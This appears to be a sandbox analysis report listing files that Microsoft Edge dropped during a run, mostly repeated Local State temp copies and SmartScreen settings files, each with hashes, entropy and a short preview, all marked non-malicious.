SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kpTKKGf4SNtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynct5b7VLyMV/YoskFoz
MD5:	05422F1E32CCBE30A89BC1394564E7D0
SHA1:	A2B7B203C403209F658DCCC0760A565AFD424B27
SHA-256:	EE39A7019C24B731C4721512F6911A2F56F8E97C3DE261C84059A002538612A2
SHA-512:	10B0A11C7AB64C1BA0895A028C052DDC5DA5308C1355A2DB334CF4A2F6CA45DD0477008DC60FDF77853BC5DC20307324A43EE9A169FE19AAB78F1C8528FF9830
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF268e1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089516658433447
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kpTKKGf4SNtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynct5b7VLyMV/YoskFoz
MD5:	05422F1E32CCBE30A89BC1394564E7D0
SHA1:	A2B7B203C403209F658DCCC0760A565AFD424B27
SHA-256:	EE39A7019C24B731C4721512F6911A2F56F8E97C3DE261C84059A002538612A2
SHA-512:	10B0A11C7AB64C1BA0895A028C052DDC5DA5308C1355A2DB334CF4A2F6CA45DD0477008DC60FDF77853BC5DC20307324A43EE9A169FE19AAB78F1C8528FF9830
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF28f84.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089516658433447
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kpTKKGf4SNtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynct5b7VLyMV/YoskFoz
MD5:	05422F1E32CCBE30A89BC1394564E7D0
SHA1:	A2B7B203C403209F658DCCC0760A565AFD424B27
SHA-256:	EE39A7019C24B731C4721512F6911A2F56F8E97C3DE261C84059A002538612A2
SHA-512:	10B0A11C7AB64C1BA0895A028C052DDC5DA5308C1355A2DB334CF4A2F6CA45DD0477008DC60FDF77853BC5DC20307324A43EE9A169FE19AAB78F1C8528FF9830
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2be45.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089516658433447
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kpTKKGf4SNtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynct5b7VLyMV/YoskFoz
MD5:	05422F1E32CCBE30A89BC1394564E7D0
SHA1:	A2B7B203C403209F658DCCC0760A565AFD424B27
SHA-256:	EE39A7019C24B731C4721512F6911A2F56F8E97C3DE261C84059A002538612A2
SHA-512:	10B0A11C7AB64C1BA0895A028C052DDC5DA5308C1355A2DB334CF4A2F6CA45DD0477008DC60FDF77853BC5DC20307324A43EE9A169FE19AAB78F1C8528FF9830
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF379b5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089516658433447
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kpTKKGf4SNtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynct5b7VLyMV/YoskFoz
MD5:	05422F1E32CCBE30A89BC1394564E7D0
SHA1:	A2B7B203C403209F658DCCC0760A565AFD424B27
SHA-256:	EE39A7019C24B731C4721512F6911A2F56F8E97C3DE261C84059A002538612A2
SHA-512:	10B0A11C7AB64C1BA0895A028C052DDC5DA5308C1355A2DB334CF4A2F6CA45DD0477008DC60FDF77853BC5DC20307324A43EE9A169FE19AAB78F1C8528FF9830
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a0c5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089516658433447
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kpTKKGf4SNtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynct5b7VLyMV/YoskFoz
MD5:	05422F1E32CCBE30A89BC1394564E7D0
SHA1:	A2B7B203C403209F658DCCC0760A565AFD424B27
SHA-256:	EE39A7019C24B731C4721512F6911A2F56F8E97C3DE261C84059A002538612A2
SHA-512:	10B0A11C7AB64C1BA0895A028C052DDC5DA5308C1355A2DB334CF4A2F6CA45DD0477008DC60FDF77853BC5DC20307324A43EE9A169FE19AAB78F1C8528FF9830
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d9e6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089516658433447
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kpTKKGf4SNtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynct5b7VLyMV/YoskFoz
MD5:	05422F1E32CCBE30A89BC1394564E7D0
SHA1:	A2B7B203C403209F658DCCC0760A565AFD424B27
SHA-256:	EE39A7019C24B731C4721512F6911A2F56F8E97C3DE261C84059A002538612A2
SHA-512:	10B0A11C7AB64C1BA0895A028C052DDC5DA5308C1355A2DB334CF4A2F6CA45DD0477008DC60FDF77853BC5DC20307324A43EE9A169FE19AAB78F1C8528FF9830
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
